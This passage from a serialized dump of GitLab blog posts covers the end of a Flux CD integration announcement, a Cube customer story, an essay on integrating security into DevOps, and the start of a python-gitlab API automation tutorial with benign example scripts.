profile](https://gitlab.com/nagyv-gitlab).\n\n## The Flux community\n\nBefore I close this article, I would like to say hi and thank you to the Flux community. We already got invited to the Flux development meeting, and the core team was very welcoming. As we always actively contributed to the core tools – first [`gitops-engine`](https://github.com/argoproj/gitops-engine/), later [`cli-utils`](https://github.com/kubernetes-sigs/cli-utils/) – supporting our GitOps offering, we are looking forward to contributing to Flux CD.\n\nWe are looking forward to working more closely with you. Thank you for building this great tool and community!\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n\nRead more:\n\n- More about the [Flux CD integration decision](https://gitlab.com/gitlab-org/gitlab/-/issues/357947) \n- Docs for [agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html) \n- Issue on [our current focus](https://gitlab.com/gitlab-org/gitlab/-/issues/389382) \n- Preparation issues: [Flux to GitLab access management](https://gitlab.com/gitlab-org/gitlab/-/issues/389393) and [Visualizing Kubernetes resources within the Environments page](https://gitlab.com/gitlab-org/gitlab/-/issues/375449)\n\n",[534,2509,4103,736],{"slug":11112,"featured":6,"template":678},"why-did-we-choose-to-integrate-fluxcd-with-gitlab","content:en-us:blog:why-did-we-choose-to-integrate-fluxcd-with-gitlab.yml","Why Did We Choose To Integrate Fluxcd With Gitlab","en-us/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab.yml","en-us/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab",{"_path":11118,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11119,"content":11125,"config":11130,"_id":11132,"_type":16,"title":11133,"_source":17,"_file":11134,"_stem":11135,"_extension":20},"/en-us/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity",{"title":11120,"description":11121,"ogTitle":11120,"ogDescription":11121,"noIndex":6,"ogImage":11122,"ogUrl":11123,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11123,"schema":11124},"Cube reduces toolchain complexity and speeds software delivery with GitLab","Software maker shares how the DevSecOps Platform helps improve customer collaboration and streamline releases.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668437/Blog/Hero%20Images/faster-cycle-times.jpg","https://about.gitlab.com/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Cube reduces toolchain complexity and speeds software delivery with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2023-02-07\",\n      }",{"title":11120,"description":11121,"authors":11126,"heroImage":11122,"date":11127,"body":11128,"category":2702,"tags":11129},[711],"2023-02-07","Six years ago, [Cube](https://cube.nl/), a software development company based in the Netherlands, struggled with a fragmented and siloed toolchain. The company also wanted a comprehensive solution that would pull together development, security, and operations teams and create a single source of truth for better collaboration with their customers. So they opted for GitLab’s DevSecOps Platform.\n\nOperations Manager Mans Booijink and Lead Developer Remi Buijvoets sat down with GitLab to share how moving to an all-in-one DevSecOps platform has made a significant and positive difference at Cube – internally and with customers – and why they are happy with the move.\n\nBefore diving into their migration story, here's a snapshot of the improvements Cube has achieved with GitLab:\n\n- Improved [CI/CD](/topics/ci-cd/) delivery speed\t\n- Improved service-level agreement (SLA) response time\n- 80% of Cube clients are actively working in GitLab\n- Single source of truth collaboration\n\n![image of Mans Booijink](https://about.gitlab.com/images/blogimages/MansBooijinkCube.jpg) | ![image of Remi Buijvoets](https://about.gitlab.com/images/blogimages/RemiBuijvoetsCube.jpg)\nMans Booijink | Remi Buijvoets\n\n**Why did Cube make the switch to GitLab?**\n\nBefore making the switch, we used a combination of Bitbucket, Trello, and Jira. The combination caused a [fragmented, siloed toolchain](/blog/battling-toolchain-technical-debt/). There were a lot of opportunities for improving efficiency. So we started using GitLab because we wanted a DevOps system that includes ticket management, security, and customer collaboration. Not only does GitLab operate efficiently, but adoption is also fast and easy. In fact, we tripled our GitLab user base from 20 to nearly 70 in the past three years. Now almost the entire Cube organization uses GitLab. Our clients and colleagues (designers, developers, and project managers) can communicate easily by working in the same GitLab environment. \n\n**Did Cube try anything else before GitLab?**\n\nWe tried out other tools before moving to GitLab. But GitLab offered everything we needed – ticket management, CI/CD, DevOps, versioning, file management, and security. It didn’t take long to realize that GitLab was perfect because we wanted to have one tool where we all work together with our clients and team.\n\n**Now that Cube uses GitLab, how has your toolchain changed?**\n\nGitLab has simplified everything into a single source of truth. We deploy to a private cloud in the Netherlands, and we integrated Sentry into GitLab for error monitoring. Still, otherwise, everything we do is in GitLab.\n\n**How has GitLab CI/CD helped Cube?**\n\nGitLab CI helps us automate the software development process by using GitLab pipelines and a runner to deploy our code. Within the pipelines, we run linters to check code quality. Also, Unit and functional tests are executed to ensure the functioning of the application. When an error occurs or when a test fails, the pipeline will fail. GitLab CI adds value to our software development lifecycle because it prevents bugs from being deployed and helps deploy features while other features are still in development. In addition, it helps us monitor our projects’ quality, which is essential.\n\nGitLab CI surely helps in the speed of delivery, but also a lot in facilitating rollbacks when a release accidentally contains an error. We use a release schedule, and GitLab helps us to automate most of the work so that we can deliver right on time.\n\nGitLab CD improves the speed of our code deployments. When the pipelines succeed, developers can ensure everything works as it should. As a result, developers can focus more on the development itself and don’t have to lose focus by giving thoughts on the deployment. We have also introduced a local machine that builds releases. The machine is hosted on-premises and has a lot of resources. Multiple GitLab Runners use this machine to build releases. Using the GitLab Runners with an on-premises computer was easy to configure.\n\n**How have GitLab’s Agile capabilities helped your company become more efficient?**\n\nBefore GitLab, we used a variety of communication channels with our customers. Now GitLab gives us a central, accessible place for all communications. We also use [GitLab for Agile development](/solutions/agile-delivery/). We have our epics to manage bigger development projects, and we also utilize milestones. We do four to six releases weekly, and we all manage them by creating milestones that everyone can see, including the client and the development team. We provide all tickets with requirements, estimated time, when we intend to release it, who has to test it, etc. We use GitLab for 90% of our project management, Agile management, and working functionalities, which is proving very effective.\n\n**How do you measure the success of your GitLab migration?**\n\nWe measure the lead time of delivery. The results of each separate phase in the delivery are accurately logged. This way we can demonstrate that we comply with the agreements made to our customers. We also keep track of how efficient the different phases during the development process are, and whether they improve compared to the past.\n\nBecause we use GitLab integrally throughout the process, it is a very valuable and useful source of information.",[943,2705,110],{"slug":11131,"featured":6,"template":678},"how-cube-uses-gitlab-to-increase-efficiency-and-productivity","content:en-us:blog:how-cube-uses-gitlab-to-increase-efficiency-and-productivity.yml","How Cube Uses Gitlab To Increase Efficiency And Productivity","en-us/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity.yml","en-us/blog/how-cube-uses-gitlab-to-increase-efficiency-and-productivity",{"_path":11137,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11138,"content":11144,"config":11150,"_id":11152,"_type":16,"title":11153,"_source":17,"_file":11154,"_stem":11155,"_extension":20},"/en-us/blog/its-time-to-put-the-sec-in-devsecops",{"title":11139,"description":11140,"ogTitle":11139,"ogDescription":11140,"noIndex":6,"ogImage":11141,"ogUrl":11142,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11142,"schema":11143},"It’s time to really put the Sec in DevSecOps","Organizations may tack on security to DevOps but unless they wholly integrate it, they will miss out on DevSecOps benefits.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671091/Blog/Hero%20Images/lock.jpg","https://about.gitlab.com/blog/its-time-to-put-the-sec-in-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"It’s time to really put the Sec in DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Francis Ofungwu\"}],\n        \"datePublished\": \"2023-02-02\",\n      }",{"title":11139,"description":11140,"authors":11145,"heroImage":11141,"date":11147,"body":11148,"category":962,"tags":11149},[11146],"Francis Ofungwu","2023-02-02","\nWe all know that DevOps and security are intertwined. And a lot of lip service is paid to surface integrations between the two. But until your organization goes [all-in on a DevSecOps strategy](/blog/why-the-market-is-moving-to-a-platform-approach-to-devsecops/#understanding-devops-pain-points) – where Sec is wholly embedded with Dev and Ops, you will miss out on the benefits a holistic approach brings.\n\nToday, the friction between DevOps and security teams comes from objectives that, at first glance, seem diametrically opposed (spoiler alert: they aren’t). Developers want to create great products at the velocity the business requires, and security teams want to effectively manage risks using methodical frameworks that require some level of structure. Day-to-day collaboration between the two groups can be challenging because their workflows and incentives differ.\n\nIn [GitLab’s 2022 Global DevSecOps Survey](/developer-survey/), we found that developers are seeing security scanning increasing across all categories (SAST, DAST, container scanning, dependency scanning, and license compliance), but this uplift is not translating into vulnerability reduction, as 56% of respondents said it was difficult to get developers to actually prioritize fixing code.\n\nAnd so they stay in silos.\n\n## Separation between security and DevOps doesn’t work\n\nWe know through our experiences that security and DevOps often only come together in emergencies. When there is a high-risk incident, such as a breach, security and DevOps teams are forced together on endless incident calls that function more like a “get to know you” exercise driven by rudimentary questions: What does that app do? Why are you using that library with a vulnerability from 2010? What do you mean it’s not exploitable?\n\nWe can – and should – agree that emergencies are not the best time for this level of discovery. You wouldn’t want a firefighter asking if your building is up to code before they start putting out a fire. But due to the lack of frequent collaboration, development and security teams use incidents as the time to play catchup and really dig into the basics of the development lifecycle.\n\n## Sec is more than just a few letters between Dev and Ops\n\nConfusion in the industry hasn’t helped. The industry has come to recognize – and in some cases, exploit – the frustration of these silos. They will plop the “Sec” in between Dev and Ops and market a laundry list of point solutions that solve only a small portion of the problem, and leave DevOps and security teams with a [complex toolchain](/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/) to manage and maintain. The alarming rate of cyber attacks and breaches in the headlines makes it obvious this approach is not working. So what’s the issue?\n\nI liken where we are now to the challenges that the healthcare industry faced a decade ago in trying to convince physicians of the benefits of hand hygiene. At the time, in the U.S., healthcare-associated infections affected more than 2 million people every year, while compliance with required hygiene standards by healthcare workers was below 40%, [an article from that time period](https://www.hcinnovationgroup.com/home/blog/13020327/the-freakonomics-of-behavior-change-in-healthcare) states. A Los Angeles hospital, aiming to solve this problem, was requiring a 100% hygiene compliance rate among its physicians – should have been a simple task among a population that understands the poor outcomes related to noncompliant behavior, right? No. Several carrot-and-stick approaches to changing behavior of the physicians yielded mixed results.\n\nRelying on humans to change their behavior can be fruitless, the researchers found, according to the article: “Organizations should focus instead on innovations through technology or design.” In other words, we should not rely on behavior change from individuals to drive meaningful, long-lasting transformation. We need to use technology as the invisible hand that reinforces the right behavior and enacts course correction when we deviate from expected actions.\n\nThe corollary is that in the tech industry, we have evangelized for [security and DevOps to be together](https://about.gitlab.com/solutions/security-compliance/) and have talked about why it makes sense (improved software supply chain security, management of threat vectors, and adherence to compliance requirements, for example). When we share the [vision of DevSecOps](/topics/devsecops/) there are head nods and agreements that this unification is the right thing to do for the good of the business, but when it comes down to it, the actual implementation is lacking.\n\n## What it means to be fully DevSecOps\n\nDevSecOps has to be a practice in every sense of the word. It can’t be theory or an academic exercise. DevSecOps should be an implementation of cultural, organizational, and technical changes designed to optimize delivery and maintenance of software. Characteristics of DevSecOps will include:\n- Reducing the time required to deliver quality software.\n- Automating processes required to identify, categorize, and remediate software bugs.\n- Designing the culture and operations of dev, sec, and ops and unifying these functions through values and workflows.\n\nFor DevSecOps as a practice to work, all stakeholders involved in the design, development, and maintenance of software need to commit to transparent collaboration at scale.\n\nWhat this means in action:\n\n- Eliminating one-way communication of security requirements: controls should be programmatically enforced and consumable via APIs.\n- Implementing policy as code: For adoption and consistency, the desired cultural shift and expectations have to be programmatically enforced.\n- Creating a unified view of threats at every level of the development lifecycle: All stakeholders should have insight to the same information that details the quality of the code. Having separate security scanners only operated by the security team does not drive collaboration.\n- Supporting in-context training inside of the development process: Build better developers by offering near real time evidence of vulnerabilities in their environment and code.\n- Reducing the amount of time developers spend in painful audits by investing in immutable development artifacts that evidence use of controls throughout the lifecycle.\n\nAt GitLab, we believe we are strongly positioned to accelerate your organization’s DevSecOps transformation. Our platform helps unify DevSecOps teams and drive the cultural, process, and governance programs required to deliver value to organizations seeking a more effective and sustainable way to develop better, more secure software faster.\n\nCover image by [Georg Bommeli](https://unsplash.com/@calina?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/ybtUqjybcjE?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[674,4103,479],{"slug":11151,"featured":6,"template":678},"its-time-to-put-the-sec-in-devsecops","content:en-us:blog:its-time-to-put-the-sec-in-devsecops.yml","Its Time To Put The Sec In Devsecops","en-us/blog/its-time-to-put-the-sec-in-devsecops.yml","en-us/blog/its-time-to-put-the-sec-in-devsecops",{"_path":11157,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11158,"content":11163,"config":11168,"_id":11170,"_type":16,"title":11171,"_source":17,"_file":11172,"_stem":11173,"_extension":20},"/en-us/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation",{"ogTitle":11159,"schema":11160,"ogImage":9309,"ogDescription":11161,"ogSiteName":1180,"noIndex":6,"ogType":1181,"ogUrl":11162,"title":11159,"canonicalUrls":11162,"description":11161},"Efficient DevSecOps workflows: Hands-on python-gitlab API automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Efficient DevSecOps workflows: Hands-on python-gitlab API automation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-02-01\",\n      }","The python-gitlab library is a useful abstraction layer for the GitLab API. Dive into hands-on examples and best practices in this tutorial.","https://about.gitlab.com/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation",{"title":11159,"description":11161,"authors":11164,"heroImage":9309,"date":11165,"body":11166,"category":734,"tags":11167},[4808],"2023-02-01","A friend once said in a conference presentation, “Manual work is a bug.\" When there are repetitive tasks in workflows, I tend to [come back to this quote](https://twitter.com/dnsmichi/status/1574087419237916672), and try to automate as much as possible. For example, by querying a REST API to do an inventory of settings, or calling API actions to create new comments in GitLab issues/merge requests. The interaction with the GitLab REST API can be done in different ways, using HTTP requests with curl (or [hurl](/blog/how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd/)) on the command line, or by writing a script in a programming language. The latter can become reinventing the wheel again with raw HTTP requests code, and parsing the JSON responses.\n\nThanks to the wider GitLab community, many different languages are supported by API abstraction libraries. They provide support for all API attributes, add helper functions to get/create/delete objects, and generally aim to help developers focus. The [python-gitlab library](https://python-gitlab.readthedocs.io/en/stable/) is a feature-rich and easy-to-use library written in Python.\n\nIn this blog post, you will learn about the basic usage of the library by working with API objects, attributes, pagination and resultsets, and dive into more concrete use cases collecting data, printing summaries and writing data to the API to create comments and commits. There is a whole lot more to learn, with many of the use cases inspired by wider community questions on the forum, Hacker News, issues, etc.\n\nThis blog post is a long read, so feel free to stick with the beginner's tutorial or skip to the advanced [DevSecOps](https://about.gitlab.com/topics/devsecops/) use cases, development tips and code optimizations by navigating the table of contents:\n\n- [Getting started](#getting-started)\n- [Configuration](#configuration)\n- [Managing objects: The GitLab Object](#managing-objects-the-gitlab-object)\n    - [Objects managers and loading](#objects-managers-and-loading)\n    - [Pagination of results](#pagination-of-results)\n    - [Working with object relationships](#working-with-object-relationships)\n    - [Working with different object collection scopes](#working-with-different-object-collection-scopes)\n- [DevSecOps use cases for API read actions](#devsecops-use-cases-for-api-read-actions)\n    - [List branches by merged state](#list-branches-by-merged-state)\n    - [Print project settings for review: MR approval rules](#print-project-settings-for-review-mr-approval-rules)\n    - [Inventory: Get all CI/CD variables that are protected or masked](#inventory-get-all-cicd-variables-that-are-protected-or-masked)\n    - [Download a file from the repository](#download-a-file-from-the-repository)\n    - [Migration help: List all certificate-based Kubernetes clusters](#migration-help-list-all-certificate-based-kubernetes-clusters)\n    - [Team efficiency: Check if existing merge requests need to be rebased after merging a huge refactoring MR](#team-efficiency-check-if-existing-merge-requests-need-to-be-rebased-after-merging-a-huge-refactoring-mr)\n- [DevSecOps use cases for API write actions](#devsecops-use-cases-for-api-write-actions)\n    - [Move epics between groups](#move-epics-between-groups)\n    - [Compliance: Ensure that project settings are not overridden](#compliance-ensure-that-project-settings-are-not-overridden)\n    - [Taking notes, generate due date overview](#taking-notes-generate-due-date-overview)\n    - [Create issue index in a Markdown file, grouped by labels](#create-issue-index-in-a-markdown-file-grouped-by-labels)\n- [Advanced DevSecOps workflows](#advanced-devsecops-workflows)\n    - [Container images to run API scripts](#container-images-to-run-api-scripts)\n    - [CI/CD integration: Release and changelog generation](#cicd-integration-release-and-changelog-generation)\n    - [CI/CD integration: Pipeline report summaries](#cicd-integration-pipeline-report-summaries)\n- [Development tips](#development-tips)\n    - [Advanced custom configuration](#advanced-custom-configuration)\n    - [CI/CD code linting for different Python versions](#cicd-code-linting-for-different-python-versions)\n- [Optimize code and performance](#optimize-code-and-performance)\n    - [Lazy objects](#lazy-objects)\n    - [Object-oriented programming](#object-oriented-programming)\n- [More use cases](#more-use-cases)\n- [Conclusion](#conclusion)\n\n## Getting started\n\nThe python-gitlab documentation is a great resource for [getting started guides](https://python-gitlab.readthedocs.io/en/stable/api-usage.html), object types and their available methods, and combined workflow examples. Together with the [GitLab API resources documentation](https://docs.gitlab.com/ee/api/api_resources.html), which provides the object attributes that can be used, these are the best resources to get going.\n\nThe code examples in this blog post require Python 3.8+, and the `python-gitlab` library. Additional requirements are specified in the `requirements.txt` file – one example requires `pyyaml` for YAML config parsing. To follow and practice the use cases code, it is recommended to clone the project, install the requirements and run the scripts. Example with Homebrew on macOS:\n\n```shell\ngit clone https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python.git\n\ncd gitlab-api-python\n\nbrew install python\n\npip3 install -r requirements.txt\n\npython3 \u003Cscriptname>.py\n```\n\nThe scripts are intentionally not using a common shared library that provides generic functions for parameter reads, or additional helper functionality, for example. The idea is to show easy-to-follow examples that can be used stand-alone for testing, and only require installing the `python-gitlab` library as a dependency. Improving the code for production use is recommended. This can also help with building a maintained API tooling project that, for example, includes container images and CI/CD templates for developers to consume on a DevSecOps platform.\n\n## Configuration\n\nWithout configuration, python-gitlab will run unauthenticated requests against the default server `https://gitlab.com`. The most common configuration settings relate to the GitLab instance to connect to, and the authentication method by specifying access tokens. Python-gitlab supports different types of configuration: A configuration file or environment variables.\n\nThe [configuration file](https://python-gitlab.readthedocs.io/en/stable/cli-usage.html#cli-configuration) is available for the API library bindings, and the CLI (the CLI is not explained in this blog post). The configuration file supports [credential helpers](https://python-gitlab.readthedocs.io/en/stable/cli-usage.html#credential-helpers) to access tokens directly.\n\nEnvironment variables as an alternative configuration method provide an easy way to run the script on terminal, integrate into container images, and prepare them for running in CI/CD pipelines.\n\nThe configuration needs to be loaded into the Python script context. Start by importing the `os` library to fetch environment variables using the `os.environ.get()` method. The first parameter specifies the key, the second parameter sets the default value when the variable is not available in the environment.\n\n```python\nimport os\n\ngl_server = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\nprint(gl_server)\n```\n\nThe parametrization on the terminal can happen directly for the command only, or exported into the shell environment.\n\n```shell\n$ GL_SERVER=’https://gitlab.company.com’ python3 script.py\n\n$ export GL_SERVER=’https://gitlab.company.com’\n$ python3 script.py\n```\n\nIt is recommended to add safety checks to ensure that all variables are set before continuing to run the program. The following snippet imports the required libraries, reads the `GL_SERVER` environment variable and expects the user to set the `GL_TOKEN` variable. If not, the script prints and throws errors, and calls `sys.exit(1)` indicating an error status.\n\n```python\nimport gitlab\nimport os\nimport sys\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n```\n\nWe will look into a more detailed example now which creates a connection to the API and makes an actual data request.\n\n## Managing objects: The GitLab object\n\nAny interaction with the API requires the GitLab object to be instantiated. This is the entry point to configure the GitLab server to connect, authenticate using access tokens, and more global settings for pagination, object loading and more.\n\nThe following example runs an unauthenticated request against GitLab.com. It is possible to access public API endpoints and for example get a specific [.gitignore template for Python](https://python-gitlab.readthedocs.io/en/stable/gl_objects/templates.html#gitignore-templates).\n\n[python_gitlab_object_unauthenticated.py](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_object_unauthenticated.py)\n\n```python\nimport gitlab\n\ngl = gitlab.Gitlab()\n\n# Get .gitignore templates without authentication\ngitignore_templates = gl.gitignores.get('Python')\n\nprint(gitignore_templates.content)\n```\n\nThe next sections provide more insights into:\n\n- [Objects managers and loading](#objects-managers-and-loading)\n- [Pagination of results](#pagination-of-results)\n- [Working with object relationships](#working-with-object-relationships)\n- [Working with different object collection scopes](#working-with-different-object-collection-scopes)\n\n### Objects managers and loading\n\nThe python-gitlab library provides access to GitLab resources using so-called “[managers](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#managers)\". Each manager type implements methods to work with the datasets (list, get, etc.).\n\nThe script shows how to access subgroups, direct projects, all projects including subgroups, issues, epics and todos. These methods and API endpoint require authentication to access all attributes. The code snippet, therefore, uses variables to get the authentication token, and also uses the `GROUP_ID` variable to specify a main group at which to start searching.\n\n```python\n#!/usr/bin/env python\n\nimport gitlab\nimport os\nimport sys\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n# https://gitlab.com/gitlab-de/use-cases/\nGROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n# Main\nmain_group = gl.groups.get(GROUP_ID)\n\nprint(\"Sub groups\")\nfor sg in main_group.subgroups.list():\n    print(\"Subgroup name: {sg}\".format(sg=sg.name))\n\nprint(\"Projects (direct)\")\nfor p in main_group.projects.list():\n    print(\"Project name: {p}\".format(p=p.name))\n\nprint(\"Projects (including subgroups)\")\nfor p in main_group.projects.list(include_subgroups=True, all=True):\n     print(\"Project name: {p}\".format(p=p.name))\n\nprint(\"Issues\")\nfor i in main_group.issues.list(state='opened'):\n    print(\"Issue title: {t}\".format(t=i.title))\n\nprint(\"Epics\")\nfor e in main_group.issues.list():\n    print(\"Epic title: {t}\".format(t=e.title))\n\nprint(\"Todos\")\nfor t in gl.todos.list(state='pending'):\n    print(\"Todo: {t} url: {u}\".format(t=t.body, u=t.target_url\n```\n\nYou can run the script [`python_gitlab_object_manager_methods.py`](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_object_manager_methods.py) by overriding the `GROUP_ID` variable on GitLab.com SaaS for your own group to analyze. The `GL_SERVER` variable needs to be specified for self-managed instance targets. `GL_TOKEN` must provide the personal access token.\n\n```shell\nexport GL_TOKEN=xxx\n\nexport GL_SERVER=”https://gitlab.company.com”\n\nexport GL_SERVER=”https://gitlab.com”\n\nexport GL_GROUP_ID=1234\n\npython3 python_gitlab_object_manager_methods.py\n```\n\nGoing forward, the example snippets won’t show the Python headers and environment variable parsing to focus on the algorithm and functionality. All scripts are open source under the MIT license and available in [this project](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python).\n\n### Pagination of results\n\nBy default, the GitLab API does not return all result sets and requires the clients to use [pagination](https://docs.gitlab.com/ee/api/rest/index.html#pagination) to iterate through all result pages. The python-gitlab library [allows users to specify the settings](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination) globally in the GitLab object, or on each `list()` call. By default, all result sets would fire API requests, which can slow down the script execution. The recommended way is using `iterator=True` which returns a generator object, and API calls are fired on-demand when accessing the object.\n\nThe following example searches for the group name `everyonecancontribute`, and uses keyset pagination with 100 results on each page. The iterator is set to true on `gl.groups.list(iterator=True)` to fetch new result sets on demand. If the searched group name is found, the loop breaks and prints a summary, including measuring the duration of the complete search request.\n\n```python\nSEARCH_GROUP_NAME=\"everyonecancontribute\"\n\n# Use keyset pagination\n# https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN,\n    pagination=\"keyset\", order_by=\"id\", per_page=100)\n\n# Iterate over the list, and fire new API calls in case the result set does not match yet\ngroups = gl.groups.list(iterator=True)\n\nfound_page = 0\nstart = timer()\n\nfor group in groups:\n    if SEARCH_GROUP_NAME == group.name:\n        # print(group) # debug\n        found_page = groups.current_page\n        break\n\nend = timer()\n\nduration = f'{end-start:.2f}'\n\nif found_page > 0:\n    print(\"Pagination API example for Python with GitLab{desc} - found group {g} on page {p}, duration {d}s\".format(\n        desc=\", the DevSecOps platform\", g=SEARCH_GROUP_NAME, p=found_page, d=duration))\nelse:\n    print(\"Could not find group name '{g}', duration {d}\".format(g=SEARCH_GROUP_NAME, d=duration))\n```\n\nExecuting `python_gitlab_pagination.py` found the [everyonecancontribute group](https://gitlab.com/everyonecancontribute) on page 5.\n\n```shell\n$ python3 python_gitlab_pagination.py\nPagination API example for Python with GitLab, the DevSecOps platform - found group everyonecancontribute on page 5, duration 8.51s\n```\n\n### Working with object relationships\n\nWhen working with object relationships – for example, collecting all projects in a given group – additional steps need to be taken. The returned project objects provide limited attributes by default. Manageable objects require an additional `get()` call which requests the full project object from the API in the background. This on-demand workflow helps to avoid waiting times and traffic by reducing the immediately returned attributes.\n\nThe following example illustrates the problem by looping through all projects in a group, and tries to call the `project.branches.list()` function, raising an exception in the try/except flow. The second example gets a manageable project object and tries the function call again.\n\n```python\n# Main\ngroup = gl.groups.get(GROUP_ID)\n\n# Collect all projects in group and subgroups\nprojects = group.projects.list(include_subgroups=True, all=True)\n\nfor project in projects:\n    # Try running a method on a weak object\n    try:\n       print(\"🤔 Project: {pn} 💡 Branches: {b}\\n\".format(\n        pn=project.name,\n        b=\", \".join([x.name for x in project.branches.list()])))\n    except Exception as e:\n        print(\"Got exception: {e} \\n ===================================== \\n\".format(e=e))\n\n    # Retrieve a full manageable project object\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n    manageable_project = gl.projects.get(project.id)\n\n    # Print a method available on a manageable object\n    print(\"🤔 Project: {pn} 💡 Branches: {b}\\n\".format(\n        pn=manageable_project.name,\n        b=\", \".join([x.name for x in manageable_project.branches.list()])))\n```\n\nThe exception handler in the python-gitlab library prints the error message, and also links to the documentation. It is helpful to take a debugging note that objects might not be available to manage whenever you cannot access object attributes or function calls.\n\n```shell\n$ python3 python_gitlab_manageable_objects.py\n\n🤔 Project: GitLab API Playground 💡 Branches: cicd-demo-automated-comments, docs-mr-approval-settings, main\n\nGot exception: 'GroupProject' object has no attribute 'branches'\n\n\u003Cclass 'gitlab.v4.objects.projects.GroupProject'> was created via a\nlist() call and only a subset of the data may be present. To ensure\nall data is present get the object using a get(object.id) call. For\nmore details, see:\n\nhttps://python-gitlab.readthedocs.io/en/v3.8.1/faq.html#attribute-error-list\n =====================================\n```\n\nThe full script is located [here](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_manageable_objects.py).\n\n### Working with different object collection scopes\n\nSometimes, the script needs to collect all projects from a self-managed instance, or from a group with subgroups, or from a single project. The latter is helpful for faster testing on the required attributes, and the group fetch helps with testing at scale later. The following snippet collects all project objects into the `projects` list, and appends objects from different incoming configuration. You will also see the manageable object pattern for project in groups again.\n\n```python\n    # Collect all projects, or prefer projects from a group id, or a project id\n    projects = []\n\n    # Direct project ID\n    if PROJECT_ID:\n        projects.append(gl.projects.get(PROJECT_ID))\n\n    # Groups and projects inside\n    elif GROUP_ID:\n        group = gl.groups.get(GROUP_ID)\n\n        for project in group.projects.list(include_subgroups=True, all=True):\n            # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n            manageable_project = gl.projects.get(project.id)\n            projects.append(manageable_project)\n\n    # All projects on the instance (may take a while to process)\n    else:\n        projects = gl.projects.list(get_all=True)\n```\n\nThe full example is located in [this script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py) for listing MR approval rules settings for specified project targets.\n\n## DevSecOps use cases for API read actions\n\nThe authenticated access token needs [`read_api` scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes).\n\nThe following use cases are discussed:\n\n- [List branches by merged state](#list-branches-by-merged-state)\n- [Print project settings for review: MR approval rules](#print-project-settings-for-review-mr-approval-rules)\n- [Inventory: Get all CI/CD variables that are protected or masked](#inventory-get-all-cicd-variables-that-are-protected-or-masked)\n- [Download a file from the repository](#download-a-file-from-the-repository)\n- [Migration help: List all certificate-based Kubernetes clusters](#migration-help-list-all-certificate-based-kubernetes-clusters)\n- [Team efficiency: Check if existing merge requests need to be rebased after merging a huge refactoring MR](#team-efficiency-check-if-existing-merge-requests-need-to-be-rebased-after-merging-a-huge-refactoring-mr)\n\n### List branches by merged state\n\nA common ask is to do some Git housekeeping in the project, and see how many merged and unmerged branches are floating around. [A question on the GitLab community forum](https://forum.gitlab.com/t/python-gitlab-project-branch-list-filter/80257) about filtering branch listings inspired me look into writing a [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_branches_by_state.py) that helps achieve this goal. The `branches.list()` method returns all branch objects that are stored in a temporary list for later processing for two loops: Collecting merged branch names, and not merged branch names. The `merged` attribute on the `branch` object is a boolean value indicating whether the branch has been merged.\n\n```python\nproject = gl.projects.get(PROJECT_ID, lazy=False, 